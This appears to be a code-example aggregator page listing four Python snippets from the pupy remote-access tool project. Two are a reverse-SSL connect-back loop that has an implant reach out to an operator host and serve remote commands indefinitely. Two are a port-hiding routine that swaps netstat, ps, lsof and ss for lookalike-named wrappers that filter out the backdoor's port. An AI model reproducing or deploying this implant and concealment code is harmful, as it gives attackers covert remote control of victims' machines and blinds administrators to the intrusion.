예제 #1
0
파일: reverse_ssl.py 프로젝트: nvssks/pupy
def main():
	HOST="127.0.0.1:443"
	if "windows" in platform.system().lower():
		try:
			import pupy
			HOST=pupy.get_connect_back_host()
		except ImportError:
			print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
			if len(sys.argv)!=2:
				exit("usage: %s host:port"%sys.argv[0])
			HOST=sys.argv[1]
	else:
		add_pseudo_pupy_module(HOST)
	attempt=0
	while True:
		try:
			rhost,rport=None,None
			tab=HOST.rsplit(":",1)
			rhost=tab[0]
			if len(tab)==2:
				rport=int(tab[1])
			else:
				rport=443
			print "connecting to %s:%s"%(rhost,rport)
			conn=rpyc.ssl_connect(rhost, rport, service = ReverseSlaveService)
			while True:
				attempt=0
				conn.serve()
		except KeyboardInterrupt:
			print "keyboard interrupt received !"
			break
		except Exception as e:
			time.sleep(get_next_wait(attempt))
			attempt+=1
예제 #2
0
def main():
	HOST="127.0.0.1:443"
	if "win" in platform.system().lower():
		try:
			import pupy
			HOST=pupy.get_connect_back_host()
		except ImportError:
			print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
			if len(sys.argv)!=2:
				exit("usage: %s host:port"%sys.argv[0])
			HOST=sys.argv[1]
	attempt=0
	while True:
		try:
			rhost,rport=None,None
			tab=HOST.rsplit(":",1)
			rhost=tab[0]
			if len(tab)==2:
				rport=int(tab[1])
			else:
				rport=443

			print "connecting to %s:%s"%(rhost,rport)
			conn=rpyc.ssl_connect(rhost, rport, service = ReverseSlaveService)
			while True:
				attempt=0
				conn.serve()
		except KeyboardInterrupt:
			print "keyboard interrupt received !"
			break
		except Exception as e:
			time.sleep(get_next_wait(attempt))
			attempt+=1
예제 #3
0
def run(port=None):
    if port is None:
        try:
            import pupy
            host, port = pupy.get_connect_back_host().split(":")
        except:
            raise Exception(
                "pupy connect back port couldn't be found, please precise it manually"
            )

    print "hidding port %s ..." % port

    a = subprocess.check_output(["netstat", "-tn"])
    if port in a:

        def cmd_exists(cmd):
            return subprocess.call("type " + cmd,
                                   shell=True,
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE) == 0

        if cmd_exists("gcc") is True:
            bash = r"""which netstat ps lsof|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,"|gcc -xc - -o$o";print F qq{int main(int a,char**b){char*c[999999]={"sh","-c","$_ \$*|grep -vE \\""" + '"' + port + """|\$\$|[$s-$n]|grep\\\\""};memcpy(c+3,b,8*a);execv("/bin/sh",c);}}'"""
            with open('/tmp/b', 'w') as f:
                f.write(bash)
                f.close()
            os.system("bash /tmp/b")
            time.sleep(3)
            os.remove("/tmp/b")
        else:
            bash = r"""which netstat ps lsof |perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|""" + port + """\\\\"";chmod 493,$o'"""
            with open("/tmp/p", "w") as f:
                f.write(bash)
                f.close()
            os.system("bash /tmp/p")
            time.sleep(3)
            os.remove("/tmp/p")
        bashss = """#!/bin/bash
/bin/zss $* | grep -v """ + port
        get_ss_path = subprocess.check_output('which ss', shell=True)
        path = get_ss_path[:-3]
        os.system("mv " + path + "ss " + path + "zss")
        with open(path + "ss", "w") as newss:
            newss.write(bashss)
            newss.close()
        os.system("chmod +x " + path + "ss")
    else:
        print "port is already hidden"
예제 #4
0
def run(port=None):
    if port is None:
        try:
            import pupy
            host, port=pupy.get_connect_back_host().split(":")
        except:
            raise Exception("pupy connect back port couldn't be found, please precise it manually")

    print "hidding port %s ..."%port

    a=subprocess.check_output(["netstat", "-tn"])
    if port in a:
        def cmd_exists(cmd):
            return subprocess.call("type " + cmd, shell=True,
            stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0
        if cmd_exists("gcc") == True:
            bash=r"""which netstat ps lsof|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,"|gcc -xc - -o$o";print F qq{int main(int a,char**b){char*c[999999]={"sh","-c","$_ \$*|grep -vE \\"""+'"'+port+"""|\$\$|[$s-$n]|grep\\\\""};memcpy(c+3,b,8*a);execv("/bin/sh",c);}}'"""
            with open('/tmp/b', 'w') as f:
                f.write(bash)
                f.close()
            os.system("bash /tmp/b")
            time.sleep(3)
            os.remove("/tmp/b")
        else:
            bash=r"""which netstat ps lsof |perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|"""+port+"""\\\\"";chmod 493,$o'"""
            with open("/tmp/p", "w") as f:
                f.write(bash)
                f.close()
            os.system("bash /tmp/p")
            time.sleep(3)
            os.remove("/tmp/p")
        bashss="""#!/bin/bash
/bin/zss $* | grep -v """+port
        get_ss_path=subprocess.check_output('which ss', shell=True)
        path=get_ss_path[:-3]
        os.system("mv "+path+"ss "+path+"zss")
        with open(path+"ss", "w") as newss:
            newss.write(bashss)
            newss.close()
        os.system("chmod +x "+path+"ss")
    else:
        print "port is already hidden"